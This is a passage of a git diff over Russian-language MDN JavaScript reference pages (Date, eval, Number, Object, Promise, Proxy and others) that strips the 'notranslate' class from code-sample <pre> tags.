<var>month</var>[, <var>day</var>[, <var>hour</var>[, <p><strong>Обратите внимание:</strong> разбор строкового представления дат с помощью конструктора <code>Date</code> (так же как эквивалентный ему метод <code>Date.parse</code>) может иметь различия и несоответствия в браузерах.</p> </div> -<pre class="brush: js notranslate">var today = new Date(); +<pre class="brush: js">var today = new Date(); var birthday = new Date('December 17, 1995 03:24:00'); var birthday = new Date('1995-12-17T03:24:00'); var birthday = new Date(1995, 11, 17); @@ -129,7 +129,7 @@ var birthday = new Date(1995, 11, 17, 3, 24, 0); <p>Для того, чтобы создать и получить даты между 0 и 99 годом, нужно использовать методы {{jsxref("Date.prototype.setFullYear()")}} и {{jsxref("Date.prototype.getFullYear()")}}.</p> -<pre class="brush: js notranslate">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT) +<pre class="brush: js">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT) // Устаревший метод, 98 отображается на 1998 год date.setYear(98); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT) @@ -141,7 +141,7 @@ date.setFullYear(98); // Sat Feb 01 0098 00:00:00 GMT+0000 (BST) <p>Следующие примеры показывают, как определить разницу во времени между двумя датами в JavaScript:</p> -<pre class="brush: js notranslate">// Используя объекты Date +<pre class="brush: js">// Используя объекты Date var start = Date.now(); // Событие, для которого замеряется время, происходит тут: @@ -150,7 +150,7 @@ var end = Date.now(); var elapsed = end - start; // затраченное время в миллисекундах </pre> -<pre class="brush: js notranslate">// Используя встроенные методы +<pre class="brush: js">// Используя встроенные методы var start = new Date(); // Событие, для которого замеряется время, происходит тут: @@ -159,7 +159,7 @@ var end = new Date(); var elapsed = end.getTime() - start.getTime(); // затраченное время в миллисекундах </pre> -<pre class="brush: js notranslate">// Проверяет функцию и возвращает её возвращаемое значение +<pre class="brush: js">// Проверяет функцию и возвращает её возвращаемое значение function printElapsedTime(fTest) { var nStartTime = Date.now(), vReturn = fTest(), @@ -179,7 +179,7 @@ yourFunctionReturn = printElapsedTime(yourFunction); <h3 id="Получить_количество_секунд_с_начала_эпохи_Unix">Получить количество секунд с начала эпохи Unix</h3> -<pre class="notranslate"><code>var seconds = Math.floor(Date.now() / 1000);</code></pre> +<pre><code>var seconds = Math.floor(Date.now() / 1000);</code></pre> <p>В этом случае важно возвращать только целое число (так что простое деление не подойдёт), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).</p> diff --git a/files/ru/web/javascript/reference/global_objects/eval/index.html b/files/ru/web/javascript/reference/global_objects/eval/index.html index f3bad3a0e3..b5cfcb75ca 100644 --- a/files/ru/web/javascript/reference/global_objects/eval/index.html +++ b/files/ru/web/javascript/reference/global_objects/eval/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>eval(<em>string</em>)</code></pre> +<pre class="syntaxbox"><code>eval(<em>string</em>)</code></pre> <h3 id="Параметры">Параметры</h3> @@ -46,19 +46,19 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval <p>Если аргумент, переданный <code>eval()</code>, не является строкой, <code>eval() </code>возвращает его неизменным. В следующем примере определён конструктор <code>String</code>, и <code>eval()</code> не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа <code>String</code>.</p> -<pre class="brush:js notranslate">eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2" +<pre class="brush:js">eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2" eval("2 + 2"); // возвращает 4 </pre> <p>Это ограничение легко обойти при помощи <code>toString()</code>.</p> -<pre class="brush:js notranslate">var expression = new String("2 + 2"); +<pre class="brush:js">var expression = new String("2 + 2"); eval(expression.toString()); </pre> <p>Если вы используете <code>eval</code> косвенно, вызовом его через ссылку, а не просто <code>eval</code>, в<a href="http://www.ecma-international.org/ecma-262/5.1/#sec-10.4.2"> ECMAScript 5</a> это работает в глобальной области видимости, а не в локальной; это значит, что <code>eval</code> будет вызван в глобальной области видимости, а код будет выполнен с отсутствием доступа к локальным переменным в пределах области видимости, где он был вызван.</p> -<pre class="brush:js notranslate">function test() { +<pre class="brush:js">function test() { var x = 2, y = 4; console.log(eval("x + y")); // Прямой вызов, использует локальную области видимости, результат - 6 var geval = eval; @@ -78,7 +78,7 @@ eval(expression.toString()); <p>Вам не следует использовать <code>eval()</code>, чтобы конвертировать имена свойств в свойства. Рассматривая следующий пример, где свойство объекта используемое для доступа неизвестно до выполнения кода. Это можно сделать с eval:</p> -<pre class="brush:js notranslate">var obj = { a: 20, b: 30 }; +<pre class="brush:js">var obj = { a: 20, b: 30 }; var propname = getPropName(); // возвращает "a" или "b" eval( "var result = obj." + propname ); @@ -86,7 +86,7 @@ eval( "var result = obj." + propname ); <p>Однако, <code>eval()</code> здесь не нужен. По факту, использование здесь его удивляет. Вместо него используйте <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="JavaScript/Reference/Operators/Member_Operators">доступ к свойствам</a>, который быстрее и безопаснее:</p> -<pre class="brush:js notranslate">var obj = { a: 20, b: 30 }; +<pre class="brush:js">var obj = { a: 20, b: 30 }; var propname = getPropName(); // возвращает "a" или "b" var result = obj[ propname ]; // obj[ "a" ] то же, что и obj.a </pre> @@ -95,7 +95,7 @@ var result = obj[ propname ]; // obj[ "a" ] то же, что и obj.a <p>У JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function">функции первого класса</a>, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учётом этого, так что вы можете (и вам следует) писать:</p> -<pre class="brush: js notranslate">// вместо setTimeout(" ... ", 1000) : +<pre class="brush: js">// вместо setTimeout(" ... ", 1000) : setTimeout(function() { ... }, 1000); // вместо elt.setAttribute("onclick", "...") использовать: @@ -123,7 +123,7 @@ elt.addEventListener("click", function() { ... } , false); </pre> <p>В следующем коде оба выражения содержат <code>eval()</code>, возвращающий 42. Первое определяется строкой "<code>x + y + 1</code>"; второе - строкой "<code>42</code>".</p> -<pre class="brush:js notranslate">var x = 2; +<pre class="brush:js">var x = 2; var y = 39; var z = "42"; eval("x + y + 1"); // возвращает 42 @@ -134,7 +134,7 @@ eval(z); // вернёт 42 <p>Следующий пример использует <code>eval()</code> для получения значения выражения <code>str</code>. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, <code>eval()</code> будет считать выражения выполненными, а также это установит значение выражению переменной z и вернёт его.</p> -<pre class="brush:js notranslate">var x = 5; +<pre class="brush:js">var x = 5; var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; "; console.log("z is ", eval(str));</pre> @@ -143,7 +143,7 @@ console.log("z is ", eval(str));</pre> <p><code>eval()</code> вернёт значение последнего выполняемого выражения</p> -<pre class="brush:js notranslate">var str = "if ( a ) { 1+1; } else { 1+2; }"; +<pre class="brush:js">var str = "if ( a ) { 1+1; } else { 1+2; }"; var a = true; var b = eval(str); // вернёт 2 @@ -156,7 +156,7 @@ console.log("b is : " + b);</pre> <h3 id="eval_как_строковое_определение_функции_включающее_и_как_префикс_и_суффикс"><code>eval</code> как строковое определение функции, включающее "(" и ")" как префикс и суффикс</h3> -<pre class="brush:js notranslate">var fctStr1 = "function a() {}" +<pre class="brush:js">var fctStr1 = "function a() {}" var fctStr2 = "(function a() {})" var fct1 = eval(fctStr1) // вернёт undefined var fct2 = eval(fctStr2) // вернёт функцию diff --git a/files/ru/web/javascript/reference/global_objects/generator/index.html b/files/ru/web/javascript/reference/global_objects/generator/index.html index 2eec389c7e..8d5768c60c 100644 --- a/files/ru/web/javascript/reference/global_objects/generator/index.html +++ b/files/ru/web/javascript/reference/global_objects/generator/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Generator <p>Этот объект не может быть инстанциирован напрямую. Вместо этого, экземпляр <code>Generator</code> может быть возвращён из <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction">функции-генератора</a>:</p> -<pre class="notranslate line-numbers language-html">function* generator() { +<pre class="line-numbers language-html">function* generator() { yield 1; yield 2; yield 3; @@ -47,7 +47,7 @@ console.log(generator().next().value); // 1</pre> <h3 id="Бесконечный_Итератор">Бесконечный Итератор</h3> -<pre class="brush: js notranslate">function* idMaker() { +<pre class="brush: js">function* idMaker() { var index = 0; while(true) yield index++; diff --git a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html index f7836af5e0..c210237b7a 100644 --- a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html +++ b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>new Intl.DateTimeFormat([<var>locales</var>[, <var>options</var>]]) +<pre class="syntaxbox"><code>new Intl.DateTimeFormat([<var>locales</var>[, <var>options</var>]]) Intl.DateTimeFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -122,7 +122,7 @@ Intl.DateTimeFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</va <p>При базовом использовании без определения локали <code>DateTimeFormat</code> использует локаль и опции по умолчанию.</p> -<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); +<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); // Вывод format без аргументов зависит от реализации, // локали по умолчанию и часового пояса по умолчанию @@ -134,7 +134,7 @@ console.log(new Intl.DateTimeFormat().format(date)); <p>Этот пример показывает некоторые локализованные форматы даты и времени. Для получения формата языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p> -<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); +<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); // Форматирование ниже предполагает, что местный часовой пояс равен // America/Los_Angeles для локали США @@ -170,7 +170,7 @@ console.log(new Intl.DateTimeFormat(['ban', 'id']).format(date)); <p>Формат даты и времени может быть настроен с помощью аргумента <code>options</code>:</p> -<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); +<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); // Запрашиваем день недели вместе с длинным форматом даты var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; diff --git a/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html b/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html index b9be2bbc60..a6c3eaff7a 100644 --- a/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>Number.isSafeInteger(<var>testValue</var>)</code></pre> +<pre class="syntaxbox"><code>Number.isSafeInteger(<var>testValue</var>)</code></pre> <h3 id="Parameters">Параметры</h3> @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger <h2 id="Examples">Примеры</h2> -<pre class="brush: js notranslate">Number.isSafeInteger(3); // true +<pre class="brush: js">Number.isSafeInteger(3); // true Number.isSafeInteger(Math.pow(2, 53)); // false Number.isSafeInteger(Math.pow(2, 53) - 1); // true Number.isSafeInteger(NaN); // false @@ -58,7 +58,7 @@ Number.isSafeInteger(3.0); // true <h2 id="Specifications">Полифил</h2> -<pre class="brush: js notranslate">Number.isSafeInteger = Number.isSafeInteger || function (value) { +<pre class="brush: js">Number.isSafeInteger = Number.isSafeInteger || function (value) { return Number.isInteger(value) && Math.abs(value) <= Number.MAX_SAFE_INTEGER; };</pre> diff --git a/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html b/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html index 918f0ba864..1e7fbca3dc 100644 --- a/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre> +<pre class="syntaxbox"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential <h3 id="Example_Using_toExponential">Пример: использование <code>toExponential</code></h3> -<pre class="brush: js notranslate">var numObj = 77.1234; +<pre class="brush: js">var numObj = 77.1234; console.log(numObj.toExponential()); // выведет 7.71234e+1 diff --git a/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html b/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html index 2d68871d4c..cc4718ae06 100644 --- a/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>numObj</var>.toFixed([<var>digits</var>])</code></pre> +<pre class="syntaxbox"><code><var>numObj</var>.toFixed([<var>digits</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed <h3 id="Example_Using_toFixed">Пример: использование <code>toFixed</code></h3> -<pre class="brush: js notranslate">var numObj = 12345.6789; +<pre class="brush: js">var numObj = 12345.6789; numObj.toFixed(); // Вернёт '12346': обратите внимание на округление, дробной части нет numObj.toFixed(1); // Вернёт '12345.7': обратите внимание на округление diff --git a/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html b/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html index da8d601c7d..fd39f6dd5a 100644 --- a/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>numObj</var>.toPrecision([<var>precision</var>])</code></pre> +<pre class="syntaxbox"><code><var>numObj</var>.toPrecision([<var>precision</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision <h3 id="Example_Using_toPrecision">Пример: использование <code>toPrecision</code></h3> -<pre class="brush: js notranslate">var numObj = 5.123456; +<pre class="brush: js">var numObj = 5.123456; console.log(numObj.toPrecision()); // выведет '5.123456' console.log(numObj.toPrecision(5)); // выведет '5.1235' diff --git a/files/ru/web/javascript/reference/global_objects/number/tostring/index.html b/files/ru/web/javascript/reference/global_objects/number/tostring/index.html index 86cd5b3b60..3f8103311d 100644 --- a/files/ru/web/javascript/reference/global_objects/number/tostring/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/tostring/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre> +<pre class="syntaxbox"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString <h3 id="Example_Using_toString">Пример: использование <code>toString</code></h3> -<pre class="brush: js notranslate">var count = 10; +<pre class="brush: js">var count = 10; console.log(count.toString()); // Выведет '10' console.log((17).toString()); // Выведет '17' diff --git a/files/ru/web/javascript/reference/global_objects/object/create/index.html b/files/ru/web/javascript/reference/global_objects/object/create/index.html index f7b4d2c69b..09ac00405a 100644 --- a/files/ru/web/javascript/reference/global_objects/object/create/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/create/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>Object.create(<var>proto</var>[, <var>propertiesObject</var>])</code></pre> +<pre class="syntaxbox"><code>Object.create(<var>proto</var>[, <var>propertiesObject</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create <p>Ниже показан пример использования <code>Object.create()</code> для имитации классического наследования. Это пример одиночного наследования, поскольку только его поддерживает JavaScript.</p> -<pre class="brush: js notranslate">// Shape — суперкласс +<pre class="brush: js">// Shape — суперкласс function Shape() { this.x = 0; this.y = 0; @@ -73,7 +73,7 @@ rect.move(1, 1); // выведет 'Фигура переместилась.' <p>Если вы хотите наследоваться от нескольких объектов, то это возможно сделать при помощи примесей.</p> -<pre class="brush: js notranslate">function MyClass() { +<pre class="brush: js">function MyClass() { SuperClass.call(this); OtherSuperClass.call(this); } @@ -90,7 +90,7 @@ MyClass.prototype.myMethod = function() { <h3 id="Example.3A_Using_propertiesObject_argument_with_Object.create">Пример: использование аргумента <code>propertiesObject</code> с <code>Object.create()</code></h3> -<pre class="brush: js notranslate">var o; +<pre class="brush: js">var o; // создаём объект с нулевым прототипом o = Object.create(null); @@ -159,7 +159,7 @@ o2 = Object.create({}, { <p>Для этого полифила необходима правильно работающая Object.prototype.hasOwnProperty.</p> -<pre class="brush: js notranslate">if (typeof Object.create != 'function') { +<pre class="brush: js">if (typeof Object.create != 'function') { // Этапы производства ECMA-262, издание 5, 15.2.3.5 // Ссылка: http://es5.github.io/#x15.2.3.5 Object.create = (function() { diff --git a/files/ru/web/javascript/reference/global_objects/object/entries/index.html b/files/ru/web/javascript/reference/global_objects/object/entries/index.html index fd74a6a286..5cba32dbc5 100644 --- a/files/ru/web/javascript/reference/global_objects/object/entries/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/entries/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>Object.entries(<var>obj</var>)</code></pre> +<pre class="syntaxbox"><code>Object.entries(<var>obj</var>)</code></pre> <h3 id="Параметры">Параметры</h3> @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">var obj = { foo: "bar", baz: 42 }; +<pre class="brush: js">var obj = { foo: "bar", baz: 42 }; console.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ] // массив как объект @@ -49,7 +49,7 @@ console.log(Object.entries(my_obj)); // [ ['foo', 'bar'] ] // non-object argument will be coerced to an object console.log(Object.entries("foo")); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ]</pre> -<pre class="notranslate"><code>// returns an empty array for any primitive type, since primitives have no own properties +<pre><code>// returns an empty array for any primitive type, since primitives have no own properties console.log(Object.entries(100)); // [ ] // iterate through key-value gracefully @@ -67,7 +67,7 @@ Object.entries(obj).forEach(([key, value]) => { <p>Конструктор {{jsxref("Map", "new Map()")}} принимает повторение <em>значений</em>. С <code>Object.entries </code>вы легко можете преобразовать {{jsxref("Object")}} в {{jsxref("Map")}}:</p> -<pre class="brush: js notranslate">var obj = { foo: "bar", baz: 42 }; +<pre class="brush: js">var obj = { foo: "bar", baz: 42 }; var map = new Map(Object.entries(obj)); console.log(map); // Map { foo: "bar", baz: 42 }</pre> @@ -75,7 +75,7 @@ console.log(map); // Map { foo: "bar", baz: 42 }</pre> <p>Используя <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#%D0%A0%D0%B0%D0%B7%D0%B1%D0%BE%D1%80_%D0%BC%D0%B0%D1%81%D1%81%D0%B8%D0%B2%D0%BE%D0%B2">метод Разбора Массивов</a> Вы можете легко итерировать объекты.</p> -<pre class="notranslate"><code>const obj = { foo: 'bar', baz: 42 }; +<pre><code>const obj = { foo: 'bar', baz: 42 }; Object.entries(obj).forEach(([key, value]) => console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42"</code></pre> <h2 id="Полифил">Полифил</h2> diff --git a/files/ru/web/javascript/reference/global_objects/promise/then/index.html b/files/ru/web/javascript/reference/global_objects/promise/then/index.html index 5bdc241aa9..797adc9171 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/then/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/then/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>p.then(onFulfilled[, onRejected])</var>; +<pre class="syntaxbox"><var>p.then(onFulfilled[, onRejected])</var>; p.then(value => { // выполнение @@ -43,7 +43,7 @@ p.then(value => { <h3 id="Использование_метода_then">Использование метода <code>then</code></h3> -<pre class="brush: js notranslate">var p1 = new Promise(function(resolve, reject) { +<pre class="brush: js">var p1 = new Promise(function(resolve, reject) { resolve("Успех!"); // или // reject("Ошибка!"); @@ -60,7 +60,7 @@ p1.then(function(value) { <p>Так как метод <code>then</code> возвращает промис (<code>Promise</code>), вы можете объединить несколько вызовов <code>then</code> в цепочку. Значения возвращаемые из колбэков onFulfilled или onRejected будут автоматически обёрнуты в промис.</p> -<pre class="brush: js notranslate">var p2 = new Promise(function(resolve, reject) { +<pre class="brush: js">var p2 = new Promise(function(resolve, reject) { resolve(1); }); @@ -78,7 +78,7 @@ p2.then(function(value) { <p>Вы также можете соединить одну функцию, имеющую подобный с промисами API, с другой функцией.</p> -<pre class="brush: js notranslate">function fetch_current_data() { +<pre class="brush: js">function fetch_current_data() { // API функции fetch() возвращает промис. Эта функция // имеет аналогичный API, за исключением значения в случае выполнения return fetch("current-data.json").then((response) => { @@ -95,7 +95,7 @@ p2.then(function(value) { <p>Если onFulfilled возвращает промис, возвращаемое значение может быть выполнено (resolved) / отклонено (rejected) промисом.</p> -<pre class="brush: js notranslate">function resolveLater(resolve, reject) { +<pre class="brush: js">function resolveLater(resolve, reject) { setTimeout(function () { resolve(10); }, 1000); diff --git a/files/ru/web/javascript/reference/global_objects/proxy/index.html b/files/ru/web/javascript/reference/global_objects/proxy/index.html index 12f1cfc36f..3611061bef 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/index.html @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy <p>Прокси - это новые объекты; невозможно выполнить "проксирование" существующего объекта. Пример создания прокси:</p> -<pre class="brush: js notranslate">var p = new Proxy(target, handler); +<pre class="brush: js">var p = new Proxy(target, handler); </pre> <p>Где:</p> @@ -150,7 +150,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy <p>Объект, возвращающий значение <code>37</code>, в случае отсутствия свойства с указанным именем:</p> -<pre class="brush: js notranslate">var handler = { +<pre class="brush: js">var handler = { get: function(target, name){ return name in target? target[name] : @@ -170,7 +170,7 @@ console.log('c' in p, p.c); // false, 37 <p>В данном примере мы используем JavaScript объект, к которому наш прокси направляет все запросы:</p> -<pre class="brush: js notranslate">var target = {}; +<pre class="brush: js">var target = {}; var p = new Proxy(target, {}); p.a = 37; // операция перенаправлена прокси @@ -182,7 +182,7 @@ console.log(target.a); // 37. Операция была успешно пере <p>При помощи <code>Proxy</code> вы можете легко проверять передаваемые объекту значения:</p> -<pre class="brush: js notranslate">let validator = { +<pre class="brush: js">let validator = { set: function(obj, prop, value) { if (prop === 'age') { if (!Number.isInteger(value)) { @@ -213,7 +213,7 @@ person.age = 300; // Вызовет исключение <p>Функция прокси может легко дополнить конструктор новым:</p> -<pre class="brush: js notranslate">function extend(sup, base) { +<pre class="brush: js">function extend(sup, base) { var descriptor = Object.getOwnPropertyDescriptor( base.prototype, 'constructor', ); @@ -260,7 +260,7 @@ console.log(Peter.age); // 13 <p>Иногда возникает необходимость переключить атрибут или имя класса у двух разных элементов:</p> -<pre class="brush: js notranslate">let view = new Proxy({ +<pre class="brush: js">let view = new Proxy({ selected: null }, { @@ -293,7 +293,7 @@ console.log(i2.getAttribute('aria-selected')); // 'true' <p>Прокси объект <code>products</code> проверяет передаваемые значения и преобразует их в массив в случае необходимости. Объект также поддерживает дополнительное свойство <code>latestBrowser</code> на чтение и запись.</p> -<pre class="brush: js notranslate">let products = new Proxy({ +<pre class="brush: js">let products = new Proxy({ browsers: ['Internet Explorer', 'Netscape'] }, { @@ -336,7 +336,7 @@ console.log(products.latestBrowser); // 'Chrome' <p>Данный прокси расширяет массив дополнительными возможностями. Как вы видите, вы можете гибко "задавать" свойства без использования <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties</code></a>. Данный пример также может быть использован для поиска строки таблицы по её ячейке. В этом случае целью будет <a href="/en-US/docs/DOM/table.rows"><code>table.rows</code></a>.</p> -<pre class="brush: js notranslate">let products = new Proxy([ +<pre class="brush: js">let products = new Proxy([ { name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }, { name: 'Thunderbird', type: 'mailer' } @@ -397,7 +397,7 @@ console.log(products.number); // 3 <p>В данном примере, использующем все виды перехватчиков, мы попытаемся проксировать <em>не нативный</em> объект, который частично приспособлен для этого - <code>docCookies,</code> созданном в разделе <a href="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">"little framework" и опубликованном на странице <code>document.cookie</code></a>.</p> -<pre class="brush: js notranslate">/* +<pre class="brush: js">/* var docCookies = ... получить объект "docCookies" можно здесь: https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support */ diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html index 50c940dd66..b9981c3d0f 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">const <var>p</var> = new Proxy(<var>target</var>, { +<pre class="syntaxbox">const <var>p</var> = new Proxy(<var>target</var>, { apply: function(<var>target</var>, <var>thisArg</var>, <var>argumentsList</var>) { } }); @@ -66,7 +66,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply <p>Следующий код ловит вызов функции.</p> -<pre class="brush: js notranslate">const p = new Proxy(function() {}, { +<pre class="brush: js">const p = new Proxy(function() {}, { apply: function(target, thisArg, argumentsList) { console.log('called: ' + argumentsList.join(', ')); return argumentsList[0] + argumentsList[1] + argumentsList[2]; diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html index 07c349853f..9c8dc59f4e 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">const <var>p</var> = new Proxy(<var>target</var>, { +<pre class="syntaxbox">const <var>p</var> = new Proxy(<var>target</var>, { get: function(<var>target</var>, <var>property</var>, <var>receiver</var>) { } }); @@ -65,7 +65,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get <p>Следующий код перехватывает получение значения свойства.</p> -<pre class="brush: js notranslate">const p = new Proxy({}, { +<pre class="brush: js">const p = new Proxy({}, { get: function(target, property, receiver) { console.log('called: ' + property); return 10; @@ -78,7 +78,7 @@ console.log(p.a); // "called: a" <p>Следующий код нарушает инвариант.</p> -<pre class="brush: js notranslate">const obj = {}; +<pre class="brush: js">const obj = {}; Object.defineProperty(obj, 'a', { configurable: false, enumerable: false, diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html index 1bf6b70b43..0e3ba67f53 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">new Proxy(<var>target</var>, <var>handler</var>)</pre> +<pre class="syntaxbox">new Proxy(<var>target</var>, <var>handler</var>)</pre> <h3 id="Parameters">Parameters</h3> @@ -77,7 +77,7 @@ translation_of: 